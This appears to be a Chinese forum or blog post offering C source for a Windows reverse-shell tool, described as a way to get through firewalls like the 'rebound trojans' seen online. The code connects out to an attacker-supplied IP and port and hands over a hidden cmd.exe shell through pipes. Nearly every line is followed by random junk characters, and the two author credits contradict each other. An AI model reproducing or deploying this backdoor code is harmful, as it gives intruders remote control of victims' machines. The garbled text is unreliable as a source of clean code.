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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 IG.f=+<0  
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/* ============================== ]TK=>;&  
Rebound port in Windows NT 3n(*E_n  
By wind,2006/7 t]m!ee8*X<  
===============================*/ 02 f9 wV  
#include T$b\Q  
#include D6=HYqdj  
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#pragma comment(lib,"wsock32.lib") hWGZd~L  
gOE_ ]  
void OutputShell(); {y);vHf$  
SOCKET sClient; rveVCTbC  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zS% m_,t  
9[>Lp9l'  
void main(int argc,char **argv) Xt(! a  
{ ySruAkw%  
WSADATA stWsaData; Hc!!tbBQ  
int nRet; V;*pL1  
SOCKADDR_IN stSaiClient,stSaiServer; 3@X7YgILU  
l]vohLz 3!  
if(argc != 3) fykI,!  
{ ` py}99G  
printf("Useage:\n\rRebound DestIP DestPort\n"); d7i#w #  
return; rycJyiw<-  
} S|2VP8xY9  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Xu<FDjr  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :Kay$r0+  
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stSaiClient.sin_family = AF_INET; oMTY)`me  
stSaiClient.sin_port = htons(0); Ve:&'~F2 s  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); PHkDb/HIx|  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) A c:\c7M;  
{  Rkv  
printf("Bind Socket Failed!\n"); >6K4b/.5w  
return; m'.T2e.u  
} </w 7W3F  
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stSaiServer.sin_family = AF_INET; n2 na9dX)w  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [a D:A  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); xT+ ;w[s  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) C5B=NAc  
{ Dh8(HiXf:  
printf("Connect Error!"); _SF!T6A  
return; XWF7#xM  
} Rkr^Z?/GH  
OutputShell(); oQBiPN+v.3  
} 1,u{&%yL"w  
D5[VK `4Z  
void OutputShell() n `#+L~X  
{ z\h, SX<U  
char szBuff[1024]; W%zmD Hk~  
SECURITY_ATTRIBUTES stSecurityAttributes; qj;l,Kua  
OSVERSIONINFO stOsversionInfo; {3 SdX  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1HXlHic  
STARTUPINFO stStartupInfo; )v-Cj_W5]"  
char *szShell; x#o?>5Qg?  
PROCESS_INFORMATION stProcessInformation; x?>!UqgkY  
unsigned long lBytesRead; P7Z<0Dt\}  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); yr{5Rp05=  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bQ=s8'  
stSecurityAttributes.lpSecurityDescriptor = 0; 0Ts!(b]B  
stSecurityAttributes.bInheritHandle = TRUE; :>ZzP:QD  
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t!l/`e%J  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <!hpfTz*  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ${0%tCE  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6o9sR)c ?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XL?A w  
stStartupInfo.wShowWindow = SW_HIDE; oEPNN'~3  
stStartupInfo.hStdInput = hReadPipe; N7+#9S5fv  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jXH0BPa,  
d"p2Kx'*3  
GetVersionEx(&stOsversionInfo); @!-aR u  
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switch(stOsversionInfo.dwPlatformId) e7hO;=?b'  
{ F42TKPN^uu  
case 1: SDJ;*s-  
szShell = "command.com"; eTT^KqE>&  
break; +Gp!cGaAm  
default: 1uY3[Z9S  
szShell = "cmd.exe"; ,?;sT`Mh)  
break; 5@CpP-W#  
} bA0uGLc  
9DY|Sa]#=  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); D'85VZEFyo  
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send(sClient,szMsg,77,0); AE]i V{p  
while(1) )fy <P;g  
{ ~t$mw,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &l?N:(r  
if(lBytesRead) hq]xmM?&  
{ A/ hpY a  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S]5VEn;pV  
send(sClient,szBuff,lBytesRead,0); N!.kq4$.  
} 4*YOFU}l  
else L;4[ k;5  
{ *EX$v4BX  
lBytesRead=recv(sClient,szBuff,1024,0); 1Q0%7zRirI  
if(lBytesRead<=0) break; e2q pJ4i  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .<0=a|IAz  
} 9PUa?Bc`=  
} v hR twi  
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return; (q~R5)D  
}
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